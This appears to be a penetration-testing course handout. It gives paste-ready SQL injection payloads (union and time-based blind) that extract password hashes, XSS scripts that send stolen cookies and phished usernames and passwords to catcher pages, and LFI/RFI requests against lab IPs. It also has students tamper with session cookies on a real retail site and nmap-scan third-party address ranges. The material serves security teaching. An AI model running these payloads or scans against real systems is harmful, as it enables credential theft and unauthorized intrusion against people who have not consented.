     The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
     It removes duplicate rows between the various SELECT statements.
 
     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
 ---------------------------------------------------------------------------------------------------------
     Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
 
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
 ---------------------------------------------------------------------------------------------------------
 
 
 
 
 - Another way is to see if you can get the backend to perform an arithmetic function
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=(2)
 http://45.77.162.239/bookdetail.aspx?id=(4-2)
 http://45.77.162.239/bookdetail.aspx?id=(4-1)
 ---------------------------------------------------------------------------------------------------------
 
 - This is some true/false logic testing
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
 http://45.77.162.239/bookdetail.aspx?id=1*1
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
 http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
 http://45.77.162.239/bookdetail.aspx?id=2 &0#
 -------------------------------------------------------------------------------------
 
 -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
 http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
 ---------------------------------------------------------------------------------------
 
 
 ###############################
 # Blind SQL Injection Testing #
 ###############################
 Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
 3 - Total Characters
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
 ---------------------------------------------------------------------------------------------------------
 
 Let's go for a quick check to see if it's DBO
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
 -------------------------------------------------------------------------------------
 Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
 
 D  - 1st Character
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
 ---------------------------------------------------------------------------------------------------------
 
 B - 2nd Character
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 ---------------------------------------------------------------------------------------------------------
 
 O - 3rd Character
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 ---------------------------------------------------------------------------------------------------------
 
 
 
 
 
 #######################
 # Attacking PHP/MySQL #
 #######################
 
 Go to LAMP Target homepage
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/
 -------------------------------------------------------------------------------------
 
 
 Clicking on the Acer Link:
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer
 -------------------------------------------------------------------------------------
 
     - Found parameter passing (answer yes to question 1)
     - Insert ' to test for SQLI
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer'
 -------------------------------------------------------------------------------------
 
 Page returns the following error:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
 
 
 
 In order to perform union-based sql injection - we must first determine the number of columns in this query.
 We do this using the ORDER BY
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
 -------------------------------------------------------------------------------------
 
 
 Page returns the following error:
 Unknown column '100' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
 -------------------------------------------------------------------------------------
 
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
 -------------------------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '25' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
 -------------------------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '12' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
 -------------------------------------------------------------------------------------
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
 
 
 
 Now we build out the union all select statement with the correct number of columns
 
 Reference:
 http://www.techonthenet.com/sql/union.php
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
 -------------------------------------------------------------------------------------
 
 
 
 Now we negate the parameter value 'acer' by turning into the word 'null':
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
 -------------------------------------------------------------------------------------
 
 We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
 
 
 Use a cheat sheet for syntax:
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
 
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
 ------------------------------------------------------------------------------------- -------------------
 
 
 
 
 Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
 
 Here is a good reference for it:
 https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
 
 Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
 
 
 ###############################################################################
 # What is XSS                                                                 #
 # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx            #
 ###############################################################################
 
 OK - what is Cross Site Scripting (XSS)
 
 1. Use Firefox to browse to the following location:
     ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/
     -------------------------------------------------------------------------------------
 
     A really simple search page that is vulnerable should come up.
 
 
 
 
 2. In the search box type:
     ---------------------------Paste this into Firefox-----------------------------------
     <script>alert('So this is XSS')</script>
     -------------------------------------------------------------------------------------
 
 
     This should pop-up an alert window with your message in it proving XSS is in fact possible.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 
 3. In the search box type:
     ---------------------------Paste this into Firefox-----------------------------------
     <script>alert(document.cookie)</script>
     -------------------------------------------------------------------------------------
 
 
     This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 4. Now replace that alert script with:
     ---------------------------Paste this into Firefox-----------------------------------
     <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
     -------------------------------------------------------------------------------------
 
 This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
 
 
 5. Now view the stolen cookie at:
    ---------------------------Paste this into Firefox-----------------------------------
    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
    -------------------------------------------------------------------------------------
 
 The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
 
 
 
 
 
 
 ############################
 # A Better Way To Demo XSS #
 ############################
 
 
 Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
 
 
 Use Firefox to browse to the following location:
 ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/
 -------------------------------------------------------------------------------------
 
 
 Paste this in the search box
 ----------------------------
 
 
 Option 1
 --------
 ---------------------------Paste this into Firefox-----------------------------------
 <script>
 password=prompt('Your session is expired. Please enter your password to continue',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
 </script>
 -------------------------------------------------------------------------------------
 
 Now view the stolen cookie at:
 ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/passwords.html
 -------------------------------------------------------------------------------------
 
 
 Option 2
 --------
 -------------------------Paste this into Firefox-----------------------------------
 <script>
 username=prompt('Please enter your username',' ');
 password=prompt('Please enter your password',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
 </script>
 -------------------------------------------------------------------------------------
 
 
 
 Now view the stolen cookie at:
 http://45.63.104.73/xss_practice/username_password_logs.html
 
 
 
 
 
 
 
 #######################################
 # Playing Around with Session cookies #
 #######################################
 
 Step 1: Browse to NewEgg.com
 -------------------------Paste this into Firefox-----------------------------------
 https://secure.newegg.com/
 ----------------------------------------------------------------------------------
 
 
 Step 2: Browse to the shopping cart page NewEgg.com
 -------------------------Paste this into Firefox-----------------------------------
 https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
 ----------------------------------------------------------------------------------
 
 
 Step 3: View the current session ID
 -------------------------Paste this into Firefox-----------------------------------
 javascript:void(document.write(document.cookie))
 ------------------------------------------------------------------------------------
 
 Step 4: Go back to the shopping cart page (click the back button)
 ---------------------------------------------------------------------------------
 https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
 ---------------------------------------------------------------------------------
 
 
 Step 5: Now let's modify the session ID
 -------------------------Paste this into Firefox-----------------------------------
 javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
 ------------------------------------------------------------------------------------
 
 
 
 Step 6: Go back to the shopping cart page (click the back button)
 ---------------------------------------------------------------------------------
 https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
 ---------------------------------------------------------------------------------
 
 
 
 Step 7: View the current session ID
 -------------------------Paste this into Firefox-----------------------------------
 javascript:void(document.write(document.cookie))
 -----------------------------------------------------------------------------------
 
 
 #########################################
 # Let's try a local file include (LFI)  #
 #########################################
 - Here is an example of an LFI
 - Open this page in Firefox:
 -------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/showfile.php?filename=contactus.txt
 -------------------------------------------------------------------------------------
 
 
 - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
 - Here you see a direct reference to a file on the local filesystem of the victim machine.
 - You can attack this by doing the following:
 -------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/showfile.php?filename=/etc/passwd
 -------------------------------------------------------------------------------------
 
 
 - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
 - somewhere else on the Internet. Here is an example of a text file on the web:
 -------------------------Paste this into Firefox-----------------------------------
 http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
 -------------------------------------------------------------------------------------
 
 - Now we can attack the target via RFI like this:
 -------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
 -------------------------------------------------------------------------------------
 
 
 
 Step 1: Download and Install Nmap
 ---------------------------------
 Windows: https://nmap.org/dist/nmap-7.70-setup.exe
 Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
 
 Linux:
 --- Fedora/CentOS/RHEL:    sudo yum install -y nmap
 --- Ubuntu/Mint/Debian:    sudo apt-get install -y nmap
 
 
 
 
 
 Step 2: Perform basic nmap scans
 --------------------------------
 
 ########################
 # Scanning Methodology #
 ########################
 
 - Ping Sweep
 What's alive?
 ------------
 Note: On windows you won't need to use the word "sudo" in front of the command below:
 
 ---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sP 157.166.226.*
 
 ---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sP 157.166.226.*
 
 --------------------------------------------------------------------------------------------
 
 
 
     -if -SP yields no results try:
 Note: On windows you won't need to use the word "sudo" in front of the command below:
 ---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sL 157.166.226.*
 
 ---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sL 157.166.226.*
 
 ------------------------------------------------------------------------------------------
 
 
 
     -Look for hostnames:
 Note: On windows you won't need to use the word "sudo" in front of the command below:
 ---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sL 157.166.226.* | grep com
 
 ---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sP 157.166.226.* | findstr "cnn"
 
 -------------------------------------------------------------------------------------------
 
 
 
 - Port Scan
 What's where?
 ------------
 Note: On windows you won't need to use the word "sudo" in front of the command below:
 ---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sS 162.243.126.247
 
 ---------------------------or on Windows type:----------------------------------------------
 c:\nmap -sS 162.243.126.247
 
 --------------------------------------------------------------------------------------------
 
 
 
 - Bannergrab/Version Query
 What versions of software are running
 -------------------------------------
 Note: On windows you won't need to use the word "sudo" in front of the command below:
 ---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sV 162.243.126.247
 
 ---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sV 162.243.126.247
 -------------------------------------------------------------------------------------------
 
 
 
 Let's dig into this a little bit more:
 -------------------------------------
 Note: On windows you won't need to use the word "sudo" in front of the command below:
 ---------------------------On Linux or Mac OS X type This-----------------------------------
 sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
 
 ---------------------------or on Windows type:---------------------------------------------
 c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
 -------------------------------------------------------------------------------------------
 
 
 
 - Vulnerability Research
 Lookup the banner versions for public exploits
 ----------------------------------------------
 http://exploit-db.com
 http://securityfocus.com/bid
 https://packetstormsecurity.com/files/tags/exploit/